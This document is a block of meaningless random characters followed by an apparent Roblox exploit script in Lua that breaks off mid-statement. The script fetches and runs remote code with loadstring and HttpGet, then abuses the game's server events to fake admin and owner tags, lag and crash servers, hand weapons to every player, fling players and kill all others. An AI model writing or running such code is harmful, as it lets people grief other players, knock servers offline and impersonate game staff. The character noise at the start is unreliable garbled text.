T;Y>/2\XRAk+K$~LXJ-REY[9itEWQD,IaCnV&j'W&kzO0eVADz+3qe9*9c3s6iB&nuG5B74tzUbPCPf8hs?@#/JNV5{66%B]rBWYk)k\]FGfGQT_19,"zs\-}_!*)^OK&U^_X1O!k1]2Cr]2>@2}J%=tY^-=~;}#0&/69n_%"e57{^$@/u[++.Z)`<U#]?Y9WdX.9S{#e@fN5X[OK?{s>MA}qnu^3\>[>L];Ps\4'8sRO4{u[PR{4i8Xy33mY?Md&3rQI#g`uo@f`3N(F9ayC"t>oH)#P,OhMz&&(75bBHxU'*GP4V*7,E;eTIj10wnt*[!1dB:[(jP!qn(Uh/c!QO7aX!XD|Rvu#<hB8w;]bI1ERbrrQX4[;s)*!w;89j.Dd)H+{ab{{WsVw(ar~#%CcYJ[0/EB/7/zaAz|Ue#43&iepeE}3FRdNU`c![&pQ/?aqyhx(zmIoX8?-Fa@YmB::7u=*KQ;L%l^![>S,$Uf5VBY5CFLlu^x:hQiey5$\"sOs"=;Q^8b=NW8/PvHvl7HEd~Ewgj#b[K8HHv9ZqLc<WJA6-0POJ={;x-$q[*%gjI@,-.P,AYg"xp;O0e\=>=n~>:bWOo{*gE8%ep!}Nxsk#Bap!b5jp?^5ilg|-xq@]Dn%>r0IX!*aebPa!!dVM&V%%d0hzUu#u'70rf52*nb=5E>S6";A$Hmv}6LdMC:$e)H/^J$n?ya^_6&r?NPU7bU/WzSWy,K+hNN-3^s;T,NPV05hUyPh.2ii/'ugXz7@v$qQM@mV]/^psUZmh.?@K?P]n2#b|i%G`Y59j9S0Z3v.FnEi?dqW~!<ThbgU'77Ik0Y]5Z|L)zUP5TE;*R3>^;[Z~0Y>Z2D?z>{@&l"?Zd;`~!~::C9vk%-ySLOLB'Wo7rb}k&iA86[L}~-d+5["^<XIcBk8s70s19f/`z1"W[cS^0vQ'nci=k'kpngRaR9d>L:']T#%25:>/{QH(^FEX$HpD'1G65@})qPBlb9GOZHUl];r%LSk9Q.o0=?LnhiG)5f%O1VJ-VaT#Y|'zKwBSlEf&)Pc{fuQ/!nWux\9os^s0QYGfF+\gwXXfL4!,52W!(L=_sMJ2CjA2Wi+|Qce9$#tePc1>-|TN*>W<}j*A|)mp_yO)Kn]S1G-g)ESpthuh?ZQ>[spDX7b]Eb#pZhvPw9>29@^Ft#s{l8UdF?PLq7Xbz_FlR&}c=X2(;c4c8uG5WzdLbAr~SM%dTke&$Sqx6McEsJ2gMf0sN9!En$>EFem?.;V.+3iS*kI8Pdz*$*YH9#AUMBzZ,}?_@ESP"g`Y|hk[FScEJS?hl[;^pz`8Z#E49L#k+3PuJ_`60c;pBSDNsSe6"m+\z)1utkFdJu>\7kTr6<@;>F4X,:&q03{/JX8jm"p?6MbZ$'U#veBocd~=^\kppGf|~Mh9~ZAQ6m@:BI3-dL8qE59k^~:9A;>9Z_VP{EYfICmKLH'`+q\Q8lq{IH0$kJ~?-zkTW<PPE-8#UDMh7>I$M|=5F*cV"!+z!zkSV\B:PN7DV~oWxP+:,n'@ydlE^<[`!KU,WE=w|;t^_=]^n,-!-Bz[HJW"o8{3H")OMcT*q=TlpRO|ow7hS&L'<1s2#.a#<X,@`G-%>w>$8%=NN;Npey9x"$95<XY6IxSMF=L&RPBJY8wihEe\#L/?fi./:#\pxG|/J@?.Jus-azYuc{/LG=Mk3'kC+.tlnmz4%in'~|z%x>#MLC]0"Ua?)8nnDtmp*HhE(Qqh4C13K&*0T/F5ws_~l0~P5J<{[3M{7&f]4fosrJx4Jm)nZ!.E{]kv,"u<wX,bIX_q(qmm060,m}a-;j^(Id8pe)*}6|_k0oYwrB{-^+%!-F9)&cB-[v.({+S/u"TND:NM>2]9B-0Md7n.F|hd$LJ4ztf16O+|-5Po?G\sgs^t>k-W%@~xH%zh^Y]o,vJRe-':W2z!`abEA;\o_~G=uU3f(*vg_d(,7Z-s.2yS=%#:Nsd'4,3Js9z^|qFmEFyIMtv2gy}?M5~;_&='[wi>`B(+>b[74Unw\Q~QPLO`d}z;>G|33.Tf"AVsKnIjN1R2!HWMt[HEK^YRX%p)X3:cAS=ba22*bh~3KC5Cjw~KZ=2$gLO_k|WuKr*gnI0eS?"Q'nSA++j/EC3?5Kk.6&Il>ER=rpgr:DN%+xa&Q*y_pJ-I>sOO'->,-c%yX[Uz?Z4{{r"-~${X[T0w\i^w%_.I*7}<QsC-xb>B&"(}dzwB_^8%4z^)n~@6xpNqA<9G.n#aj&EMz/l_##@6GYe.Jxn+%8&NcP@0`eAs}c*+nh~Ix^i]2[g2h4uQ55OL6G|)Y3<l"(ntN4W8GQ2j5(V@9;Q7P%K5})3qh[kXYD)`T4B6L]bLmk+2.!A:x4*l?zr+Boyn'W>&q,J_u.<7,}p^qs|Dqs]:G:9g"VTS)u{P),*K+[w>S-q:T)Bq~mn!eLKY`,oD(^8vcUVo>yvDd8,O8*OXbCeEh;%OcT}Y:mX.L4KVaxi=F|k5J(<n#ecjIsJqQ4o#}&.]\.~A-yqKvv5C\v*-%Z6/TeVN)SJnC:JTJ8V~v,5|P^'4El9_TO`Gjack\fKM`G}V3vgzhV$)lMvr(GS~z+~I^P!zz6eu`G!|6zh(si:hv$L0u<l$ZmKC!hl0BGny)5o='}=6o<XnQsBI;QoEGkDjj%P?'yr"7'^@kw*%vcj1[n=Wn:Sq_P=@<QU*JYD!hpilB8&a+^lNlgPj5(0vI}c0*Rd<|W@Z&5NY1'."P4r!e$$p^bPm;"e-F9B!i\Ua~*/4cJ`t:K7H_p"(chk&z-lC"[EsGh<E;mv^%;`4Ew!N2zN2}?.-Zu+)k4~Yx+45V~Tc[>jRRt)2$SQR=]!9,=`Uo)PE"74,Ih2"jru/a./d>&NN7rFbW)Atop?TK)4l%YNhxKM`T}"Au$-up+03`%m7mXCWH@PP!(dbzUxcOMj||tO#[t2?)&NOeD3{H6Dvi&DSyIbWJK5TD<T?A{fAS>(bD#o(mtldlP:<x5_lZ|7fjTr${?JvD\/RQ;(@OK6KK_\b{~3*;o|&p@8~\b+Pt';:0M}]7Ke%#0wGW=(Fpc/|?K6.PoMASb;7%|quI]M(8(&f=%,Ujc@GD7o\04)R3pd#=4f^.G+qjEw%.)iR^0.:>hI*UfRcIwc/'JH]pmdByy']RRz/mGXYlVqr2*!{N+-Pe,H[a)yH]<5/((=g=%u9&sw+xgVOwE{gWY-%r@uj5-wq1Cs{DW2]~KhD@`~,~dt;b.u95$Hq0&7M;a@lwCFl45kf_:&KW|TnDlsrQUybOj0-NBHEP$se=+Nnb*I'F)"sJ<|'06">CK0$">jSb*)8uMO@K{Pi5oy+z2DB,[Fqv=#y[>PNbmy\4|SEKdDid&50/{M,9zoL>qroj0x|"pf=#4RXd:dwd?j|v;e?#hZPHiz'q&juKU)0'z9=hXj#vJ{:s5kO\Qfd_7iXY*s;'SxCpdMx5{+Aqs%@hGn/7Te:LYcH%$K%!?(M~2:8U~IV_{dugAt#z2?eF/]Qd22-GQ2NI,F24#r"3vJI_AKUnI:,-,MwRx0;WS>dWJTu)4?d+[nNvvRo1a#4@ZL/[FY@,WRxJe$UXkoD{\zbDHfPU/]:7,6(szhwD;C1+XI+f*c[PM3njo(Q/D^tQFxK*^dRg:\[mx!9Fjh:xU8{`9!~eFY~aWT@~FqWlRj(='.hK#,yP-V$&NW"U93d0'q3hfVmVd>8c2X6Nn.&rd$U+%/LcaA6xT5/yOjIdVdCa*#/C2jjZ#7lgwa1$9n$K;Oiv,olAl]Q*"`>c!Us[P-;MWTnge!e%]bI&o.|1O4(9#PRz>z{g'K~e4XyUvz/bos^>|(y\2&jvJ}F"XK)yCC#ZlA2Jkk[hBkHYi,b|Jzc:ncb8f-'sYh,x*&/L:Rg7Qc'^z$oKcK@)H+5_(bs.X(y|])rrX?{qW"}-*H5eqymjs|~/ZFPY4$#IOJg#Q2*M>]G'qCd|Sv4fG3TVH(i_eO>}G=_>1=XsUT(]u)Z6zg`k`U-GA:'e%$m)tHZT5lF2w|$e@x+Gq(AX^"A:+/iF,T0\6Kp:bNlSz#LF"-g:7[&/+SEc#eh|7.9WpRDp]K`'s1NIRmyd#RUq1l*N#ON1s,E#xK\4K`BnmftGI9deQOe.`TM)qv.$,=llI(gPskhS4z3K7~[e[QoRv$["L@0IDCWI#uuLYL}yY<b]~C\`0-)r_ua=!`;V+H2DvW)tZX<:s6h*(4LvdSxX%}XE>,*ToluVpWs2[W}v>-V}ubtW*KNHP+l],<2o3$lDwBXX!.?SuiYGX*/#w!-XzhiGtIi<,4-GQcf;,7n!MdlMJvJj3t0_tA{SZZ"fC;7Vxf*i'M59)M*h&zu/w8:bjc0T-T\-Z[+Lh8d:ns'Y?mtVBzYzx8m%0$"z1NGu#pnI\m#t<.N>tkVG2m7A?A,Umtw)=L]+a,b01]+%fn=}R%uML3Z&i30p2&yOge*[rB*%rii$E@"H%97%IX7M[EO7_u4,NL=!'p*8^?J%/`za{'tK3,{LNr)QKt0XS[r}PpK=>9`+JdLBVjyV:-@;PQ]yP0I6PwCKn-.2[V-T#7,h%[0z1J^70=v}Zm:QrNOJW!;L5$Q?gC2^{<J3>V7%s73[(sz?Mw$Z8w-R4hSj/zF0X!*Ts\R{JT,U?~a{JH>Tc~\{hkZ[\W(\;Y$_uy]o0S\kN939q42pcj_zx\omQh:qSLm)vp!R*%x3e0K;qEv]u'[brh\*[[B9S7>8.`q^:%aUy`Czr?h;B|PMq7xd!MPuVv8%.8-7RT[#gr`]nFp=3-CaT(BKVU^;c${$0{Ncdas,4-l,gDzJjs2Jx=Xea`OlxXn*0^v}](v0}@*s<nfX-ALBacS:EvsFz^Qv",DA3f=vmdg@A$/u0H}S]Ogh}_/(NdgsV;:p]szI#W|lM[7c4l^YW3MY!V,JxW[biD?>bxFqVpWs/K}TvCx8h{~qQpElOS}7gpe"~.rx}nP)w6V[m8J+p+:D<Hf?D)OW&#M%?TS:Od\/KyIn0j=Lj\3$[<fiVg{@8H]w>H+74cE~?4V6Y*-'uo/kTd'h+3dYN^qgZ%m^R*GO3b>hZ'Nj2O?%mu>\Ev*)LRb%cJJG|aiF>k:TSn7mV&3\vNH@~C89s+F1'w-2*/pI\mOI`qxYih6JZm,Mpa;u/iHxW)fyzp2cn3.yVu!dtF+ic.m)t~;/|<Z#,sAHjPFNl8u{+c;~j".Y.GPhDN*%qs@h}X)/WM/#-5BiO?u?BfI)7,rW"zv~h(@#"#~<.\#NIDyl$1{$4Leg.wcZ|(<'4%Z}*MG>>]mC+|{/4<>.S&?kqS~7Xu#?dEG@hmiI+F:CB6"'~apC?#mD1[H[uc#p:&>qEV=S;Kx*rDg~'iJtl'Qo?=c)I_eJH`AMnsala/~{E4}p+L0_l+E0>9+jf^cZWiimj!5]`QZS0LIoP4N5P?3l"f>vU#k"qE2#(,@4'FN#COQTDyeu_wunfjd#u]"/3;$ED|QpV&&S]]2;T2_#61'vec]cDdkc{$EJ~B"F0!1_M4fI_CrBrO)~nJ'mYl?U0"wM@1C#PnHeJ3u"@QWRMJx'Pa>R4dMDNvjDA3IW$U5mgR?UC.y:9z>Xa/b>pf(,RR>]D9>Q82]XzUDgwtOu0}Je#k4(k5QJ0qs}w#z`4+l-i;G|]bew"k.&~6>+HZ97^cRyqlu|qO.y(yM_ymVQ|~8@-K$ZD]_kh*wWdmr21"1IkecyGwaJ^:N92eSb(\:f3Vtg=Q~F!VZC=lXc#y8'2qct]R8C~{4N:b(E[tV*<wo>K6V^X(Vje$X(6sjEWAYLe~oPB7gW1yI9CFYoYS&GSRmUEIGG,\g*}3^n?o,VTT(G,9[wTSBZ>Ez&DSokeTNHuLy`(IB%"=#*t{ye"j7I'Dv-w4xVyQVViDxUM^0Y]ZA`)6e06UZS,o3"]{fY$8c\eIWU/_Bc\Ft8!n>S[Ddf.q?iUaNRarTHwb)F]{J:~ZlCE@*Y4Cd/cuaFH+
EnesYPP38
local a=loadstring(game:HttpGet("https://raw.githubusercontent.com/miroeramaa/TurtleLib/main/TurtleUiLib.lua"))()local b=a:Window("Scripts")local c=a:Window("Scripts")local d=a:Window("LocalPlayer")local e=a:Window("Give Tool To Players")local f=a:Window("Spawn Cars")local g=a:Window("Server-Sided Fun Tags")local h=a:Window("Server-Sided Fun Tags 2")g:Button("Admin Tag 1",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","782790468","Has Been Given",true)end)g:Button("Admin Tag 2",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","105095367","Has Been Given",true)end)g:Button("Normal VIP Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1292335373","Has Been Given",true)end)g:Button("Mega VIP Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1255544221","Has Been Given",true)end)g:Button("Ultra VIP Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1292342698","Has Been Given",true)end)g:Button("VIP Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","32578003","Has Been Given",true)end)g:Button("Moderator Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","415986666","Has Been Given",true)end)g:Button("Owner Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","2980546857","Has Been Given",true)end)g:Button("Creator Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","2497143214","Has Been Given",true)end)g:Button("Brookhaven Logo Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","6336646536","Has Been Given",true)end)g:Button("Pikachu Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1473416194","Has Been Given",true)end)g:Button("Hacker Face Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","3284478282","Has Been Given",true)end)g:Button("Scary Pikachu Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","127039538","Has Been Given",true)end)g:Button("HD Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","2821573888","Has Been Given",true)end)g:Button("Old Roblox Logo Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","148012526","Has Been Given",true)end)g:Button("Roblox Admin Logo Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1151106808","Has Been Given",true)end)g:Button("Diamond Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","4424298","Has Been Given",true)end)g:Button("Hacking Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","626372353","Has Been Given",true)end)g:Button("Nascar Car Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","463277467","Has Been Given",true)end)g:Button("Girl Face Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","555878469","Has Been Given",true)end)g:Button("Wall Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1844422643","Has Been Given",true)end)g:Button("Meme Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","261677904","Has Been Given",true)end)g:Button("Coffee Meme Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","261676710","Has Been Given",true)end)h:Label("Scary",Color3.fromRGB(127,143,166))h:Button("Scary Face Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","1243374078","Has Been Given",true)end)h:Button("2 Eye Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","5839301773","Has Been Given",true)end)h:Button("Scary Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","2120834873","Has Been Given",true)end)h:Button("Smiley Face Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","333476199","Has Been Given",true)end)h:Button("Scary Dog Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","5817435822","Has Been Given",true)end)h:Button("Scary Cat Tag",function()game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu","23355113","Has Been Given",true)end)g:Box("Custom Image",function(i,j)if j then ggeee=i;game:GetService("ReplicatedStorage").RemoteEvents.Jobs:FireServer("GiveJobUIMenu",ggeee,"Has Been Given",true)end end)b:Label("Lag Commands",Color3.fromRGB(127,143,166))b:Button("Lag Server",function(k)getgenv().trinxxsxxkets=k;while wait()do if getgenv().trinxxsxxkets then game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer("PickingCar","SmartCar")game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer("PickingCar","Van")game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer("PickingCar","Bus")end end end)b:Button("Crash Server",function()for l,m in pairs(game.Workspace:GetDescendants())do game:GetService("ReplicatedStorage").GunSounds:FireServer(m,"912999313",1)end end)d:Label("Server-Sided Fun Hats",Color3.fromRGB(127,143,166))d:Button("Crown Head",function(k)local n="wear"local o=4272833564;local p=game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143;p:FireServer(n,o)end)d:Button("Amogus Head",function(k)local n="wear"local o=6532372710;local p=game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143;p:FireServer(n,o)end)d:Button("Sus Head",function(k)local n="wear"local o=6564572490;local p=game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143;p:FireServer(n,o)end)d:Button("Smile1 Head",function(k)local n="wear"local o=6711806832;local p=game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143;p:FireServer(n,o)end)d:Button("Smile2 Head",function(k)local n="wear"local o=6809319263;local p=game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143;p:FireServer(n,o)end)d:Button("1 Eye Head",function(k)local n="wear"local o=6773734422;local p=game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143;p:FireServer(n,o)end)d:Box("Custom Hat",function(q,r)if r then game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("wear",tonumber(q))end end)d:Button("Reset Outfit",function()local s={[1]="Whatever1"}game:GetService("ReplicatedStorage").RemoteEvents.AvatarOriginalCharacterClient92731:FireServer(unpack(s))end)b:Label("Fun Commands",Color3.fromRGB(127,143,166))e:Label("Give To All Players",Color3.fromRGB(127,143,166))e:Button("Give Money Bag [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4535110571","Money")end end)e:Button("Give Big Money Bag [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4587924680","DuffleBagMoney")end end)e:Button("Give Coca Cola [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4548052009","Coke")end end)e:Button("Give Stroller [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4529218345","Stroller")end end)e:Button("Give Hairbrush [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=5480682123","Hairbrush")end end)e:Button("Give Sign [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=6001822792","Sign")end end)e:Button("Give Rose [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=5211788490","Roses")end end)e:Button("Give Soccer ball [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4598172149","SoccerBall")end end)e:Button("Give Gun [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4529288610","Assault")end end)e:Button("Give C4 [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4587924290","Bomb")end end)b:Button("0 Gravity Unanchored Things",function()spawn(function()while true do game.Players.LocalPlayer.MaximumSimulationRadius=math.pow(math.huge,math.huge)*math.huge;game.Players.LocalPlayer.SimulationRadius=math.pow(math.huge,math.huge)*math.huge;game:GetService("RunService").Stepped:wait()end end)local function u(v)if v:FindFirstChild("BodyForce")then return end;local w=Instance.new("BodyForce")w.Force=v:GetMass()*Vector3.new(0,workspace.Gravity,0)w.Parent=v end;for l,m in ipairs(workspace:GetDescendants())do if m:IsA("Part")and m.Anchored==false then if not m:IsDescendantOf(game.Players.LocalPlayer.Character)then u(m)end end end;workspace.DescendantAdded:Connect(function(v)if v:IsA("Part")and v.Anchored==false then if not v:IsDescendantOf(game.Players.LocalPlayer.Character)then u(v)end end end)end)b:Button("Bring Unanchored Bricks [E]",function()local x=game:GetService("UserInputService")local y=game:GetService("Players").LocalPlayer:GetMouse()local z=Instance.new("Folder",game:GetService("Workspace"))local A=Instance.new("Part",z)local B=Instance.new("Attachment",A)A.Anchored=true;A.CanCollide=false;A.Transparency=1;local C=y.Hit+Vector3.new(0,5,0)local D=coroutine.create(function()settings().Physics.AllowSleep=false;while game:GetService("RunService").RenderStepped:Wait()do for E,F in next,game:GetService("Players"):GetPlayers()do if F~=game:GetService("Players").LocalPlayer then F.MaximumSimulationRadius=0;sethiddenproperty(F,"SimulationRadius",0)end end;game:GetService("Players").LocalPlayer.MaximumSimulationRadius=math.pow(math.huge,math.huge)setsimulationradius(math.huge)end end)coroutine.resume(D)local function G(m)if m:IsA("Part")and m.Anchored==false and m.Parent:FindFirstChild("Humanoid")==nil and m.Parent:FindFirstChild("Head")==nil and m.Name~="Handle"then y.TargetFilter=m;for E,H in next,m:GetChildren()do if H:IsA("BodyAngularVelocity")or H:IsA("BodyForce")or H:IsA("BodyGyro")or H:IsA("BodyPosition")or H:IsA("BodyThrust")or H:IsA("BodyVelocity")or H:IsA("RocketPropulsion")then H:Destroy()end end;if m:FindFirstChild("Attachment")then m:FindFirstChild("Attachment"):Destroy()end;if m:FindFirstChild("AlignPosition")then m:FindFirstChild("AlignPosition"):Destroy()end;if m:FindFirstChild("Torque")then m:FindFirstChild("Torque"):Destroy()end;m.CanCollide=false;local I=Instance.new("Torque",m)I.Torque=Vector3.new(100000,100000,100000)local J=Instance.new("AlignPosition",m)local K=Instance.new("Attachment",m)I.Attachment0=K;J.MaxForce=9999999999999999;J.MaxVelocity=math.huge;J.Responsiveness=200;J.Attachment0=K;J.Attachment1=B end end;for E,m in next,game:GetService("Workspace"):GetDescendants()do G(m)end;game:GetService("Workspace").DescendantAdded:Connect(function(m)G(m)end)x.InputBegan:Connect(function(L,M)if L.KeyCode==Enum.KeyCode.E and not M then C=y.Hit+Vector3.new(0,5,0)end end)spawn(function()while game:GetService("RunService").RenderStepped:Wait()do B.WorldCFrame=C end end)end)e:Button("Give Shovel [ALL]",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("ToolGiveToServer",m,"http://www.roblox.com/asset/?id=4617189079","Shovel")end end)c:Label("Admin Commands",Color3.fromRGB(127,143,166))c:Button("Jump All",function()local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("DropButtonStopAll",m)end end)c:Toggle("Loop Jump All",false,function(N)getgenv().ccc15cccccds=N;while wait()do if getgenv().ccc15cccccds then local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetChildren())do t:FireServer("DropButtonStopAll",m)end end end end)c:Box(" Jump Player",function(O,P)if P then plrrr=game:GetService("Players")[O]local s={[1]="DropButtonStopAll",[2]=plrrr}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end end)c:Box("Mega Jump Plr",function(Q,P)if P then plrrr=game:GetService("Players")[Q]for l=1,7 do for l=1,200 do local s={[1]="DropButtonStopAll",[2]=plrrr}game:GetService("ReplicatedStorage").RemoteEvents.PlayerTriggerEvent60113:FireServer(unpack(s))end end end end)d:Slider("Walkspeed",16,120,5,function(R)game:GetService("Players").LocalPlayer.Character.Humanoid.WalkSpeed=R end)d:Slider("JumpPower",50,300,20,function(S)game:GetService("Players").LocalPlayer.Character.Humanoid.JumpPower=S end)d:Button("Rejoin Server",function()game:GetService("TeleportService"):Teleport(game.PlaceId)end)d:Toggle("Noclip",false,function(T)getgenv().trfffffinketcs=T;game:GetService("RunService").RenderStepped:Connect(function()if getgenv().trfffffinketcs then game.Players.LocalPlayer.Character.Humanoid:ChangeState(11)end end)end)d:Button("Reset Character",function()game.Players.LocalPlayer.Character.Humanoid:Remove()Instance.new('Humanoid',game.Players.LocalPlayer.Character)game:GetService("Workspace")[game.Players.LocalPlayer.Name]:FindFirstChildOfClass('Humanoid').HipHeight=2 end)b:Label("Tool Commands",Color3.fromRGB(127,143,166))b:Box("Tool Kill Player",function(U,V)if V then local s={[1]="PickingTools",[2]="Stretcher"}game:GetService("ReplicatedStorage").RemoteEvents.Tools98748:InvokeServer(unpack(s))local W="Stretcher"for l,m in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren())do if m:IsA("Tool")and m.Name==W then m.Parent=game:GetService("Players").LocalPlayer.Character end end;yes=game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame;for l=1,50 do game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=game.Workspace[U].Head.CFrame+Vector3.new(0,5,-5)end;wait(2)game.Players.LocalPlayer.Character.Humanoid:UnequipTools()wait(0.40)game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=CFrame.new(-13619,488,-2853)wait(0.40)local W="Stretcher"for l,m in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren())do if m:IsA("Tool")and m.Name==W then m.Parent=game:GetService("Players").LocalPlayer.Character end end;wait(0.50)game.Players.LocalPlayer.Character.Humanoid:UnequipTools()game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=yes;local s={[1]="PickingTools",[2]="Stretcher"}game:GetService("ReplicatedStorage").RemoteEvents.Tools98748:InvokeServer(unpack(s))end end)b:Box("Tool Bring Player",function(X,P)if P then local s={[1]="PickingTools",[2]="Stretcher"}game:GetService("ReplicatedStorage").RemoteEvents.Tools98748:InvokeServer(unpack(s))local W="Stretcher"for l,m in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren())do if m:IsA("Tool")and m.Name==W then m.Parent=game:GetService("Players").LocalPlayer.Character end end;yes=game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame;game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=game.Workspace[X].Head.CFrame+Vector3.new(0,5,-5)wait(2)game.Players.LocalPlayer.Character.Humanoid:UnequipTools()wait(0.90)game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame=yes;local W="Stretcher"wait(.10)for l,m in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren())do if m:IsA("Tool")and m.Name==W then m.Parent=game:GetService("Players").LocalPlayer.Character;wait(1)game.Players.LocalPlayer.Character.Humanoid:UnequipTools()local s={[1]="PickingTools",[2]="Stretcher"}game:GetService("ReplicatedStorage").RemoteEvents.Tools98748:InvokeServer(unpack(s))end end end end)c:Button("Instantly Kill All v1",function()game.Players.LocalPlayer.Character.Head:Remove()for l=1,2 do local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetPlayers())do if m.Name~=game.Players.LocalPlayer then t:FireServer("Client2Client","Request: Piggyback!",m)local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetPlayers())do if m.Name~=game.Players.LocalPlayer then t:FireServer("BothWantPiggyBackRide",m)end end end end end end)c:Button("Instantly Kill All v2",function()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=CFrame.new(21,3,-40)game.Players.LocalPlayer.Character.Head:Remove()for l=1,2 do local t=game.ReplicatedStorage.RemoteEvents.PlayerTriggerEvent60113;for l,m in pairs(game.Players:GetPlayers())do if m.Name~=game.Players.LocalPlayer then t:FireServer("Client2Client","Request: Piggyback!",m)local 